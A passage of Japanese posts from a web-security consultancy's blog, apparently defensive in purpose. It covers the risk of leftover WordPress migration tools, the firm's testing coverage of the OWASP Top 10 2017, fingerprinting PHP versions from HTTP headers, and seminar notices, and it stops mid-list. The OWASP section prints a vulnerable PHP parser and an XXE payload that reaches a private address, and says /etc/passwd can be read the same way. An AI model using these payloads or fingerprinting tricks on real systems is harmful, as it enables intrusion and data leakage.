Anonymousnoreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-48986498573742623562019-02-22T15:40:00.001+09:002019-02-22T15:40:24.440+09:00WordPressサイト移行に便利なDB置換ツールを使う際の注意点WordPressサイトの引っ越しや、開発環境から本番環境への移行等によりドメイン名やディレクトリ構造を変更する必要がある場合、データベース内のドメインやURLをSQLで直接書き換えるのではなく、DB置換ツール(Search Replace DB)が広く利用されているようです。<br />
<br />
WordPress の引越し(WordPress Codex 日本語版)<br />
<a href="http://wpdocs.osdn.jp/WordPress_%E3%81%AE%E5%BC%95%E8%B6%8A%E3%81%97">http://wpdocs.osdn.jp/WordPress_%E3%81%AE%E5%BC%95%E8%B6%8A%E3%81%97</a><br />
<br />
Search Replace DB<br />
<a href="https://interconnectit.com/products/search-and-replace-for-wordpress-databases/">https://interconnectit.com/products/search-and-replace-for-wordpress-databases/</a><br />
<br />
<br />
Search Replace DBはとても便利なツールですが、データベースのユーザ名/パスワードを<br />
入力することなくデータベースを書き換えることができるため、利用する際には、セキュリティを十分考慮してください。<br />
利用の仕方によっては、サイト上のコンテンツが改ざんされるだけでなく、以下のような被害を受ける危険性があり、現在、放置されたSearch Replace DBを利用した攻撃が観測されています。<br />
<br />
<br />
<b>■想定される被害の例</b><br />
<br />
<ul>
<li>データベースのアクセス情報(データベース名、ユーザ名、パスワード、<br />ホスト、ポート)が漏洩し、データベース内のデータが漏洩する。</li>
</ul>
<ul>
<li>データベース内のデータにPHPコードを混入されることで、<br />仮想通貨のマイニング、OSの不正操作等、任意のコードが実行される。</li>
</ul>
<br />
<br />
以下のチェックポイントにチェックがつく場合、至急いずれかの対策を実施いただくことを推奨します。<br />
<br />
<b>■チェックポイント</b><br />
<br />
<ul>
<li>作業が終わったにも関わらず、Search Replace DBを削除していない。<br />(Ver.3の場合は「delete」ボタンをクリック)</li>
<li>Search Replace DBへのアクセス制限を実施していない。</li>
<li>Search Replace DBをWordPressのルートディレクトリ等わかりやすい場所に配置している。</li>
</ul>
<br />
<b>■対策</b><br />
<br />
<ul>
<li>Search Replace DBを削除する(推奨)</li>
<li>Search Replace DBを削除できない場合はアクセス制限を実施する</li>
</ul>
<br />
Search Replace DBのサイトには、インストール時の注意事項の記載があります。このようなツールやスクリプトを利用する際は、注意事項を正しく理解してから利用することが大切です。<br />
また、利用完了後はただちに削除し、利用中も外部からアクセスできないように、アクセス制御することが鉄則です。<br />
<br />
<br />
<b>【参考】</b><br />
WordPressのプラグインDuplicator 1.2.40以前にリモートコード実行の脆弱性(徳丸浩の日記)<br />
<a href="https://blog.tokumaru.org/2018/09/wordpress-duplicator-plugin-vulnerabilty.html">https://blog.tokumaru.org/2018/09/wordpress-duplicator-plugin-vulnerabilty.html</a><br />
<div>
<br /></div>
takezhttp://www.blogger.com/profile/01232087061803469472noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-22510045079658404532017-11-24T15:05:00.000+09:002017-11-24T15:39:36.401+09:00OWASP Top 10 2017に対する弊社脆弱性診断の対応先日OWASP Top 10の最新リリースである2017版が正式に公開されました。<br />
<br />
<a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf">OWASP Top 10 - 2017 [PDF]</a><br />
<br />
OWASP Top 10 2017の公開に向けては、RC1が公開された際に議論百出した後いったん破棄されるなど波乱の幕開けとなりましたが、その後別メンバーにて作成されたRC2の内容で正式版として公開されたようです。<br />
<br />
OWASP Top 10は多く企業にてガイドラインとして使われていると思いますし、PCI DSSなどの別の標準から参照されていますので、脆弱性診断サービスの内容がOWASP Top 10 2017にどのように対応するかは関心のある方が多いと思います。本稿では、弊社脆弱性診断サービスがOWASP Top 10 2017にどのように対応するかについて説明します。弊社診断サービスには、簡易なものから順に以下のものがあります。詳しくは<a href="https://www.eg-secure.co.jp/service/inspection/">弊社ウェブサイト</a>を参照下さい。<br />
<br />
<ul>
<li>ウェブ健康診断</li>
<li>ライト診断</li>
<li>スタンダード診断(標準的・網羅的なリモート診断)</li>
<li>プレミアム診断(スタンダードに加えてソースコード診断を併用する)</li>
</ul>
<br />
なお、以下の説明では、OWASP Top 10 2017の各項目の日本語訳として、以下のNTTデータ先端技術株式会社の記事で使われている翻訳に従いました。記してお礼申し上げます。<br />
<ul>
<li><a href="http://www.intellilink.co.jp/article/pcidss/28.html">OWASP Top 10 2017 のリリースとPCI DSS要件の影響について</a></li>
</ul>
<br />
<h4>
A1 インジェクション</h4>
インジェクションは、SQLインジェクションやOSコマンドインジェクション等の総称で、旧版である2013年版からの据え置きです。弊社の脆弱性診断サービスはすべてのサービスで標準的に対応しています。IPA ウェブ健康診断仕様では下記の項目が該当しますが、弊社のスタンダート以上のサービスではより詳細の試験を行います。以下の項目についても同様です。<br />
<ul>
<li>(A) SQLインジェクション</li>
<li>(D) OSコマンドインジェクション</li>
</ul>
<br />
<h4>
A2 認証の不備</h4>
文字通り認証処理における脆弱性です。2013年版は「認証とセッション管理の不備」となっていてタイトル上は2017年版にてセッション管理が外れました。しかし、2017年版も内容としてはセッション管理を含んでおり、ほぼ同じ内容をカバーしています。弊社の脆弱性診断サービスはすべてのサービスで標準的に対応しています。IPA ウェブ健康診断仕様では下記の項目が該当します。<br />
<ul>
<li>(J) 認証</li>
<li>(K) セッション管理の不備</li>
</ul>
<br />
<h4>
A3 機密データの露出</h4>
この項目は2013年版ではA6でしたが、A3に昇格しました。<br />
「露出」はExposureの訳ですが、データが「見ようと思えば見られる状態」であることを指します。2000年代初頭の情報漏えい事件の多くが、機密データがドキュメントルート下に置かれていて、そのURLが2ch等に投稿されて騒ぎになるというパターンが多かったのですが、これがExposureです。弊社の脆弱性診断サービスはすべてのサービスで標準的に対応しています。IPA ウェブ健康診断仕様では下記の項目が該当します。<br />
<ul>
<li>(E) ディレクトリ・リスティング</li>
</ul>
ただし、OWASP Top 10の解説を読むと、データの暗号化やハッシュ値による保存が強調されています。リモート診断(スタンダード)では、HTTPSによる保護は診断できますが、サーバー内部で暗号化保存されているかどうかは原理的に診断できません。これに対して、ソースコード含めて確認するプレミアム診断では、サーバー内部でのデータ暗号化についても確認できます。<br />
<br />
<h4>
A4 XML外部実体参照(XXE)</h4>
XML外部実体参照(XML External Entities; XXE)とは、XMLの外部実体参照の機能を悪用した攻撃および脆弱性であり、2017版でTop 10初お目見えとなりました。XXEに関する日本語ドキュメントはあまり多くありませんが、例えば<a href="https://twitter.com/co3k">海老原昂輔</a>氏の下記のスライドが参考になります。<br />
<br />
<a href="https://www.slideshare.net/ebihara/phpcon-2013xmlphpvuln">XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb…</a><br />
<br />
以下、簡単なサンプルを用いてXXEを説明します。以下は、POSTデータとしてXMLデータを受取り、その中から<data>タグを持つ最初の要素をとりだし、その要素内容をXMLとして返す簡単なPHPスクリプトです。<br />
<style type="text/css">
.src { font-family: Consolas, Menlo, 'Liberation Mono', Courier, monospace; }
</style>
<br />
<blockquote>
<pre class="src"><?php
header('Content-Type: text/xml; charset=utf-8');
$doc = new DOMDocument();
$doc->loadXML(file_get_contents('php://input'));
$data1 = $doc->getElementsByTagName('data')->item(0)->textContent;
echo "<data>". htmlspecialchars($data1). "</data>";
</pre>
</blockquote>
このスクリプトに以下のXMLデータを与えます。<br />
<blockquote>
<pre><?xml version="1.0"?>
<!DOCTYPE str [
<!ENTITY wget SYSTEM "http://192.168.0.2/">
]>
<str><data>&wget;</data></str></pre>
</blockquote>
すると、上記3行目で定義される外部実体が処理され、http://192.168.0.2/を参照した結果がXMLとして返されます。外部からは参照できないプライベートアドレスの内容が外部に漏洩することになります。
<br />
この種の攻撃は、XXE脆弱性を悪用したSSRF(Server Side Request Forgery)攻撃と呼ばれます。SSRF攻撃とは、ウェブサーバー等を中継して、外部からは到達できない別のサーバーやネットワーク機器等に攻撃することを指します。<br />
また、URLではなくサーバー内のローカルファイル名(/etc/passwd等)を書くと、ディレクトリトラバーサルのように、サーバー内部のファイルを閲覧できます。<br />
<br />
ただし、PHPでこの種の攻撃が設立するには、libxml2のバージョンが古い必要があります。上記の実験はまったくパッチを当てていないCentOS 6.3では成功しましたが、CentOS 6.4ではlibxml2にパッチが当たっていて成功しません。<br />
弊社の脆弱性診断サービスはスタンダード以上のプランでXXEの診断に対応します。スタンダード診断ではリモート診断の手法により、既知の攻撃パターンを用いて脆弱性の有無を検証します。プレミアム診断では、これに加えてソースコードの確認により、より深い診断が可能です。<br />
<br />
<h4>
A5 アクセス制御の不備</h4>
アクセス制御の不備は、IPA 安全なウェブサイトの作り方の「アクセス制御や認可制御の欠落 」に該当します。すなわち、認証を必要とするページに認証なしでアクセスできたり、強い権限が必要な機能を弱い権限で使用できる問題などを含みます。この項目は、2013年版の「A4 安全でないオブジェクト直接参照」と「A7 機能レベルアクセス制御の欠落」をマージしたものです。<br />
弊社の脆弱性診断サービスはすべてのサービスで標準的に対応しています。IPA ウェブ健康診断仕様では下記の項目が該当します。<br />
<ul>
<li>(L) 認可制御の不備、欠落 </li>
</ul>
<br />
<h4>
A6 セキュリティ設定のミス</h4>
文字通りセキュリティ設定の不備による問題を指します。典型例としては、デフォルトパスワードのままでソフトウェアを使用していたり、詳細のエラー内容やスタックトレースがウェブページに表示される状態などです。2013年版ではA5でした。<br />
弊社の脆弱性診断サービスでは、スタンダード以上のプランで標準的に対応しています。また、ウェブ健康診断とライトプランでも、下記項目はセキュリティ設定のミスとも考えられます。また、他の診断項目の結果として副次的に判明した場合は報告いたします。<br />
<ul>
<li>(E) ディレクトリ・リスティング</li>
</ul>
<br />
<h4>
A7 クロスサイトスクリプティング</h4>
おなじみのクロスサイトスクリプティングです。2013年版ではA3でした。弊社の脆弱性診断サービスはすべてのサービスで標準的に対応しています。IPA ウェブ健康診断仕様では下記の項目が該当します。<br />
<ul>
<li>(B)クロスサイト・スクリプティング</li>
</ul>
<br />
<h4>
A8 安全でないデシリアライゼーション</h4>
この項目は2017年版からの新規導入となります。「安全でないデシリアライゼーション」はPHP界隈ではオブジェクトインジェクションと呼ばれる場合もあります。詳しくは以前に書いた以下の記事を参照下さい。<br />
<br />
<a href="https://blog.tokumaru.org/2017/09/introduction-to-object-injection.html">安全でないデシリアライゼーション(Insecure Deserialization)入門</a><br />
<br />
弊社の脆弱性診断では、安全でないデシリアライゼーションはウェブアプリケーション診断の標準としては診断していませんでしたが、OWASP Top 10入りを受けて、スタンダード診断以上にて以下のように診断項目に含めることにしました。<br />
<br />
スタンダードプラン(リモート診断):<br />
リモート診断にてベストエフォートの診断を実施します。脆弱なアプリケーションの例として、Welcartの1.9.3を題材とします。Welcartにて会員ログインすると、以下のようなクッキーが発行されます。<br />
<blockquote class="tr_bq">
a%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22rme%22%3Bs%3A0%3A%22%22%3B%7D</blockquote>
これをパーセントデコードすると以下の形になります。<br />
<blockquote class="tr_bq">
a:2:{s:4:"name";s:0:"";s:3:"rme";s:0:"";}</blockquote>
これはPHPのシリアライズ形式であることがわかります。シリアライズ形式がクッキーとして発行されている限りは、これをデシリアライズしている可能性が高いと考えられます。このようなケースでは、「安全でないデシリアライゼーションの可能性」として報告します。<br />
現実には、クッキーは発行しているが利用していないケースとか、自作のデシリアライザを用いて安全に処理している(可能性は低いと思いますが…)可能性もあるので、あくまで可能性であり、過検知の可能性はあります。しかし、シリアライズ形式を外部に出すこと自体が好ましくないため、指摘自体は有益なものと考えます。一方、特殊なシリアライズ形式で見かけ上は単なるXMLにしか見えないケースなど、見落としの可能性もありえます。<br />
<br />
プレミアムプラン:<br />
プレミアムプランではソースコードの確認を行うため、各言語のデシリアライズ機能を確認することにより、精度の高い診断が可能となります。<br />
<br />
<h4>
A9 既知の脆弱性を持つコンポーネントの使用</h4>
文字通り、ソフトウェアから使用しているコンポーネントに既知の脆弱性があるケースを指します。この項目は2013年版でもA9でした。<br />
弊社の脆弱性診断では、この項目は基本的にプラットフォーム診断として実施していますが、アプリケーション診断でも判明する場合があり、その場合は報告しています。<br />
既知の脆弱性の代表例としてSturts2の脆弱性がありますが、リモートからの診断ではStruts2のバージョン把握等には限界があります。ヒアリングの結果、必要に応じてリモートログインさせていただいての内部からの診断を提案させて頂く場合があります。<br />
<br />
<h4>
A10 不十分なロギングおよび監視</h4>
こちらも2017年版からの新設になります。ログ取得は攻撃の検知および事後調査に重要ですし、攻撃に対する監視もできれば実施するべきでしょう。<br />
通常のリモートからの脆弱性診断では、A10の項目を外部診断業者が診断することは困難です。このため、この項目は弊社のスタンダード診断では未実施となります。<br />
プレミアムプランでは、ソースコードを確認するため、ログ取得の状況を確認することが可能です。一方、監視についてはソースコードを確認しても判明しません。<br />
監視をカバーする弊社サービスとしては、ウェブアプリケーションアセスメントがあります。このサービスは通常の脆弱性診断に加えて監査手法を併用し、アプリケーションの運用状況やログの活用、監視の状況などを確認し、サイト運営の改善点を指摘するものです。<br />
<br />
<h4>
診断対応のまとめ</h4>
<style type="text/css">
table.sample{
border-top:1px solid #000066;
border-left:1px solid #000066;
border-collapse:collapse;
border-spacing:0;
background-color:#ffffff;
empty-cells:show;
}
.sample th{
border-right:1px solid #000066;
border-bottom:1px solid #000066;
color:#330000;
background-color:#CCCCFF;
background-position:left top;
padding:0.1em 0.4em;
font-weight: normal;
text-align: left;
}
.sample td{
border-right:1px solid #000066;
border-bottom:1px solid #000066;
padding:0.1em 0.4em;
text-align: left;
}
td.tdr { text-align: right; }
</style>
<br />
<table class="sample">
<tbody>
<tr><th></th><th>ウェブ健康診断・ライト</th><th>スタンダード</th><th>プレミアム</th><th>アセスメント</th></tr>
<tr><td>A1 インジェクション</td><td>○</td><td>◎</td><td>◎</td><td>○</td></tr>
<tr><td>A2 認証</td><td>○</td><td>◎</td><td>◎</td><td>○</td></tr>
<tr><td>A3 機密データの露出</td><td>○</td><td>◎</td><td>◎(*1)</td><td>○</td></tr>
<tr><td>A4 XXE</td><td>-</td><td>○</td><td>◎</td><td>-</td></tr>
<tr><td>A5 アクセス制御の不備</td><td>○</td><td>◎</td><td>◎</td><td>○</td></tr>
<tr><td>A6 セキュリティ設定のミス</td><td>-</td><td>◎</td><td>◎</td><td>○</td></tr>
<tr><td>A7 XSS</td><td>○</td><td>◎</td><td>◎</td><td>○</td></tr>
<tr><td>A8 安全でないデシリアライゼーション</td><td>-</td><td>△</td><td>◎</td><td>-</td></tr>
<tr><td>A9 既知の脆弱性を持つコンポーネント</td><td>-</td><td>△</td><td>△</td><td>-</td></tr>
<tr><td>A10 不十分なロギングおよび監視</td><td>-</td><td>-</td><td>◎(ログ)</td><td>◎(監視)</td></tr>
</tbody></table>
<br />
*1 サーバー内のデータ暗号化も確認<br />
<br />
凡例<br />
◎:標準的で網羅的な検査<br />
○:抜き取り診断<br />
△:簡易的な診断<br />
<div>
-:非対応</div>
<div>
<br /></div>
<h4>
まとめ</h4>
OWASP Top 10の改定に伴い、弊社診断サービスと新OWASP Top 10 (2017)とのマッピングについて紹介しました。2017年版は、XXEや安全でないデシリアライゼーション等、従来日本ではあまり話題にならない項目も含まれており、診断業者としても対応を迫られています。新規の脆弱性診断はもちろんのこと、既に診断済みサイトに関してもこれら新規項目について安全性を確認する機会ではないでしょうか。<br />
弊社のサービスが貴社ウェブサイトの安全に寄与できれば幸いです。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-80941840926311662952017-09-07T13:36:00.000+09:002017-09-07T13:36:51.729+09:00診断文字列を打ち込まずにPHPのバージョンを推測する脆弱性診断においてApacheのバージョンを外部から調べる方法を複数の専門家がブログ記事に書いておられます。<br />
<ul>
<li><a href="https://www.mbsd.jp/blog/20170904.html">Apache HTTP Serverのバージョンを当てる方法</a></li>
<li><a href="http://tigerszk.hatenablog.com/entry/2017/09/04/212108">僕が調べたApacheバージョン判定の小ネタ</a></li>
</ul>
いずれも大変興味深いものですが、ApacheでできるのであればPHPはどうだろうかと気になる方も多いと思います。これは人間の自然な感情だと思うのです。<br />
このあたり、各診断会社の「秘伝のタレ」みたいなところもあるのでしょうが、私からも少し知見を披露したいと思います。<br />
<br />
タイトルにも書いたように、診断文字列を打ち込まずに、言い換えれば、通常のウェブ閲覧の範囲で分かること、さらに言えばHTTPレスポンスヘッダから分かることについて書きます。こういうと、「X-Powered-Byヘッダを見れば一目瞭然www」みたいな反応も考えられますが、そういう自明なものは対象外とします。<br />
<br />
<h4>
(1) キャッシュ制御のヘッダ</h4>
PHPは、session_start()関数の実行によりセッション管理を有効にすると、キャッシュ制御用のレスポンスヘッダを自動的に生成します。この挙動は、session_cache_limiter() 関数により変更可能ですが、大半のサイトはデフォルトの nocache のまま使っていると思います。これは通常安全な設定ですが、CDNによっては注意が必要です。<br />
このうちのCache-Controlヘッダですが、PHPのバージョンにより、以下のように変わります。<br />
<br />
<pre>PHP 4.0.0~4.0.2<span style="white-space: pre;"> </span>Cache-Control: no-cache, post-check=0, pre-check=0
PHP 4.0.3~5.6.x<span style="white-space: pre;"> </span>Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
PHP 7.0.0~<span style="white-space: pre;"> </span>Cache-Control: no-store, no-cache, must-revalidate
</pre>
<br />
PHP 4.0.0等を使っているサイトは今時多くないとは思いますが、PHP 5なのか、PHP 7なのかの違いには使えそうです。<br />
<br />
<h4>
(2) setcookie関数に空文字列を指定した場合の挙動</h4>
以前、<a href="https://blog.tokumaru.org/2013/02/purpose-and-implementation-of-the-logout-function.html">ログアウト機能の目的と実現方法</a>にて書きましたが、徳丸自身はログアウト時にセッションクッキーを削除する必要はないと考えていますが、<a href="http://www.php.net/manual/ja/function.session-destroy.php">PHP本家のマニュアル</a>には、ログアウト時にはセッションIDのクッキーを削除しなければならない(原文は"the session cookie must be deleted")とあります。このため、ログアウト時にセッションクッキーを削除するサイトはそれなりに見かけます。前述のマニュアルには、以下のようにセッションクッキーの削除スクリプトの例まで紹介されているので、これをコピペして用いる場合も多いかと思います。<br />
<blockquote>
<pre>$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
</pre>
</blockquote>
これ、パッと見は、42000秒(11時間40分)前のExpireを指定したSet-Cookieを発行するように見えますが、実はそうではない…ということは<a href="https://blog.tokumaru.org/2013/10/phpsetcookie.html">以前の記事</a>に書きました。これは、setcookie関数の第2引数に空文字列を指定した場合の特別な挙動です。そして、この挙動がPHPのバージョンによって異なります。<br />
<br />
<pre>PHP 4.0.0~4.0.1 Set-Cookie: PHPSESSID=deleted; expires=<span style="color: red;">Tuesday</span>, 06-Sep-<span style="color: red;">16</span> 07:46:47 GMT; path=/
PHP 4.0.2~4.2.x Set-Cookie: PHPSESSID=deleted; expires=Tue, 06-Sep-<span style="color: red;">16</span> 07:46:47 GMT; path=/
PHP 4.3.0~5.3.6 Set-Cookie: PHPSESSID=deleted; expires=Tue, 06-Sep-<span style="color: red;">2016</span> 07:46:48 GMT; path=/
PHP 5.3.7~5.4.x Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-<span style="color: red;">1970</span> 00:00:01 GMT; path=/
PHP 5.5.0~ Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; <span style="color: red;">Max-Age=0</span>; path=/
</pre>
<br />
expires属性の値と、Max-Age属性の有無によって、PHPのバージョンが推測できます。特に、PHP 5.3.6まで expiresが約1年前の日時だったのに対して、PHP 5.3.7以降では1970年1月1日になるところが使えそうですね。PHP 5.5以降でMax-Age=0; が付与されるのも有用です。<br />
<br />
<h4>
(3) setcookieに空文字列を指定されたのかを判別する</h4>
しかし、上記の方法には欠点があり、本当にsetcookie関数の第2引数に空文字列が指定されたのか、実は第2引数に deleted を明示したのかは簡単には分かりません。しかし、Set-Cookieの挙動をよく見ると、これらを区別できる場合があります。<br />
まず、PHP 5.3.6までは「約1年前」のexpiresと前述しましたが、厳密には1年+1秒前のExpiresになります。PHP 5.3.6でのレスポンスヘッダの例を下記に示します。<br />
<blockquote class="tr_bq">
<pre>HTTP/1.1 200 OK
Date: Wed, 06 Sep 2017 <span style="color: red;">08:38:34</span> GMT
Server: Apache/2.2.31 (Unix) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Tue, 06-Sep-2016 <span style="color: red;">08:38:33</span> GMT; path=/
Content-Length: 5
Content-Type: text/html
</pre>
</blockquote>
Dateヘッダの時刻とSet-Cookieヘッダのexpires属性が1秒ずれていることがわかります。これがヒントになります。もちろん、明示的に1年+1秒前のexpiresを指定している可能性もありますが、通常はそういうことはしないでしょう。<br />
<br />
また、setcookieヘッダの第2引数に空文字列以外を指定した場合は、過去日付のexpiresに対するMax-Ageの挙動が変わります。下記は、1年前のexpiresを指定した場合のSet-Cookieです。<br />
<blockquote>
<pre>PHP 5.5.0~7.0.18 Set-Cookie: PHPSESSID=deleted; expires=Tue, 06-Sep-2016 08:22:17 GMT; <span style="color: red;">Max-Age=-31536000</span>; path=/
PHP 7.0.19~ Set-Cookie: PHPSESSID=deleted; expires=Tue, 06-Sep-2016 08:22:17 GMT; <span style="color: red;">Max-Age=0</span>; path=/</pre>
</blockquote>
上記のように、PHP 5.5.0~PHP 7.0.18までは、負のMax-Ageがセットされますが、PHP 7.0.19以降では、Max-Age=0がセットされます。setcookieの第2引数に空文字列を指定した場合と挙動が変わるのが興味深いですね。<br />
<br />
<h4>
どうやって調べたか</h4>
このような細かい調査をするには、実際にPoCを書いて動かしてみるのが確実ですが、PHPの全バージョンとなると200を超えるので、そう簡単ではありません。私は<a href="https://blog.tokumaru.org/2016/12/modphpall.html">過去の記事</a>で紹介した modphpall を用いて、実際に動かすことで調査しました。とある診断員さんのApacheの記事では以下のように書かれていますが、<br />
<blockquote class="tr_bq">
以下のコマンド(以前検証した際、togakushiさんにご指導いただいたシェル芸を記載しています)を実行してApache HTTP Serverの2.2系を全部ソースインストールして、バージョンごとに別々のポートで起動させてみます。<br />
<a href="http://tigerszk.hatenablog.com/entry/2017/09/04/212108">僕が調べたApacheバージョン判定の小ネタ</a> より引用</blockquote>
modphpallも、PHPのバージョン毎に別々のポートでApacheを起動するもので、似たようなことを考えるものだな思いました。<br />
<br />
<h4>
まとめ</h4>
診断文字列を打ち込まずにHTTPレスポンスヘッダだけからPHPのバージョンを推測する方法を紹介しました。本文中にも書いたように、アプリケーションの書き方によってはご判定の可能性もあり、機械的に上記の情報を適用してバージョンを推測することは危険ですが、複数の情報や顧客からのヒアリング内容等を組み合わせることにより、脆弱性診断に有用な情報が得られると考えます。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-75283641523386843032017-05-12T12:08:00.000+09:002017-05-12T13:59:45.157+09:00 ECセキュリティ対策セミナー(大阪)開催しますHASHコンサルティング株式会社は、本日からEGセキュアソリューションズ株式会社に社名変更いたしました。<br />
<br />
新しいオフィシャルサイト: <a href="https://www.eg-secure.co.jp/">https://www.eg-secure.co.jp/</a><br />
<br />
皆様におかれましては、これまで同様のご愛顧をよろしくお願い申し上げます。<br />
新社名での初めてのイベントとして、5月18日大阪にて株式会社ロックオンとの共催セミナーを開催いたします。<br />
<br />
日時:2017年5月18日(木) 14:00~16:45<br />
場所:大阪産業創造館 6F会議室B(大阪市中央区本町1-4-5)<br />
費用:無料(<a href="http://peatix.com/event/242072">申し込みはこちら</a>)<br />
講演タイトル:ECサイトオーナーと開発会社が今やっておくべきセキュリティ施策とは<br />
<br />
あいかわずECサイトに対する侵入事件が続いており、最近ではStruts2の脆弱性S2-045 (CVE-2017-5638) による一連の被害が記憶に新しいところです。<br />
一方、脆弱性対処の責任はECサイトオーナーにあるのか、開発会社にあるのか、昔からある議論ではありますが、結論としては立場に応じて責務をまっとうするという当たり前のことしかないわけですが、それではその「当たり前」のことはどこまでやればよいのでしょうか。<br />
<br />
実は、ウェブサイトの防御に用いる要素技術それぞれについては、目新しいものがあるわけではなく、その多くは昔からある技術の組み合わせです。つまり、新しい技術を導入すればよいということではないわけですが、脆弱性の発見から攻撃に至るスパンがますます短くなっており、攻撃が組織化・自動化されているにも関わらず、防御側の意識があまり変わっていないことが問題であると考えています。<br />
とはいえ、セキュリティに掛けられる予算が無尽蔵にあるわけではないことから、限られた予算を効果的に配分して、効果的な防御を行うことが肝要と考えます。<br />
<br />
当セミナーでは、まずはECサイトをめぐる攻撃について何パターンかデモでお見せした後、上記のための基本的な考え方と、弊社でお手伝いできるサービスについて紹介させていただきます。<br />
<br />
皆様の参加をお待ちしております。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-89168051076972832912017-04-18T17:39:00.001+09:002017-04-18T17:39:17.698+09:00「危険な脆弱性にいかに対処するか実践的ウェブサイト防衛セミナー」開催します4月26日(水)HASHコンサルティング株式会社は、株式会社ジェイピー・セキュアと共催にて標記セミナーを開催いたします。<br />
<br />
日時:2017年4月26日(水) 14時~17時<br />
場所:ラーニングスクエア新橋 会議室4ーB(<a href="http://www.ls-shimbashi.com/access/">東京都港区新橋4-21-3</a>)<br />
費用:無料(申し込みは<a href="https://hash-c-seminar.connpass.com/event/54487/">こちら</a>)<br />
講演タイトル:脆弱性によるウェブサイト侵入の現状と今できる対応策<br />
<br />
セミナー開催のきっかけは、Struts2の脆弱性S2-045 (CVE-2017-5638) による被害を受けてのことですが、これに限りません。<br />
<br />
前から言われていたことではありますが、脆弱性情報の公表から攻撃に至るサイクルがどんどん短くなっています。<br />
DrupalのSQLインジェクション脆弱性 <a href="http://blog.tokumaru.org/2014/10/drupal-sql-injection-cve-2014-3704.html">Drupageddon(CVE-2014-3704) </a>の場合は、攻撃があまりに急激に起こったため、脆弱性公表から7時間以内に対処できなかったサイトは「侵入されたとみなして対処せよ」という<a href="https://www.drupal.org/PSA-2014-003">公式なアナウンス</a>がなされました。<br />
<br />
このような急減に起こる攻撃に配慮してか、Joomlaの権限昇格脆弱性<a href="http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-005738.html">CVE-2016-8869</a>等のアナウンスでは、脆弱性情報公開を事前アナウンスするという試みがなされました(<a href="https://www.joomla.org/announcements/release-news/5677-important-security-announcement-pre-release-364.html">参考</a>)。<br />
WordPress REST APIの脆弱性(<a href="http://blog.tokumaru.org/2017/02/wordpress-4.7.1-Privilege-Escalation.html">CVE-2017-1001000</a>)では、WordPress本体のバージョンアップ時には脆弱性の詳細情報が伏せられ、<a href="http://www.itmedia.co.jp/enterprise/articles/1702/03/news063.html">約1週間後に脆弱性の詳細が公表されるという試み</a>がなされました。<br />
<br />
ソフトウェアの提供元がパッチや脆弱性情報のリリースについて新たな試みを行っているのは、脆弱性情報公開後に急速に発生する攻撃にサイト運営側が対処するための *猶予期間* を確保するための工夫と考えられます。<br />
しかし、サイト運営側では、猶予期間が得られたとしてもその猶予を有効活用しているでしょうか。<br />
<br />
また、そのような工夫の見られなかったS2-045の公開においては、正式な新バージョン公開の前に脆弱性情報の公開がなされており、攻撃者が早い段階から攻撃の準備に着手できる状態でした。<br />
<br />
まとめると以下のようになります。<br />
<br />
<ul>
<li>脆弱性情報公開から攻撃に至るスパンはますます短くなりつつあり対処が間に合わない状況が見られる</li>
<li>ソフトウェア提供元が、サイト運営側に対策の猶予を与えようとする工夫も見られるが、そうでないソフトウェアがまだ多い</li>
<li>猶予期間が与えられている場合には、それを活かす脆弱性対応の運用を工夫すべきである</li>
<li>猶予期間が与えられない場合でも、できる脆弱性対策はあるはずである</li>
</ul>
<br />
以上のようなことをセミナーでは報告したいと考えております。皆様の参加をお待ちしております。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-77331706250068411722016-11-16T15:09:00.000+09:002016-11-16T15:14:23.396+09:00HASHコンサルティングはWordPressを使っています<p>こんにちは。HASHコンサルティングの一ノ瀬太樹です。 <br>前回の記事では「弊社のWordPressに対する取り組み(by HASHコンサルティング 松本)」について書かせて頂きました。<br> HASHコンサルティングでは日々増えていくWordPressサイトのセキュリティ対策に貢献するべく、
<strong>WordPressサイトのセキュリティ強化支援サービス</strong>を展開させて頂いております。</p>
<p><a href="https://www.hash-c.co.jp/service/wordpress_security/">https://www.hash-c.co.jp/service/wordpress_security/</a></p>
<p>さて、このブログを読んでいる方の中には既にご存知の方もいらっしゃると思いますが、 弊社は2016/9/30にコーポレートサイトをリニューアルしています。 </p>
<p><a href="https://www.hash-c.co.jp/">https://www.hash-c.co.jp/</a></p>
<p>そして、リニューアルされたコーポレートサイトでは
<del>皆様の人柱となるために</del> WordPressが利用されているのです!</p>
<p>今回の記事では弊社で実際に採用しているCentOS7環境でのWordPressのセキュリティ施策について触れたいと思います。</p>
<h1 id="hash-">HASHコンサルティングで採用している施策</h1>
<p>弊社で実施しているWordPressに対する施策は大きく次の通りです。</p>
<ul>
<li>適時のアップデート</li>
<li>管理画面のアクセス制限</li>
<li>二段階認証</li>
<li>書き込みディレクトリの実行制限</li>
<li>SELinux</li>
<li>WAF</li>
<li>改ざん検知</li>
</ul>
<p>以降は基本的な施策を踏まえ、それぞれの施策について記載します。</p>
<h1 id="-">基本的な施策</h1>
<p>WordPressのセキュリティ対策を考えるうえで重要になるのは、次の3点です。</p>
<ul>
<li>常に最新版のWordPressやテーマ、プラグインを利用する(もちろんOS・ミドルウェアも!)</li>
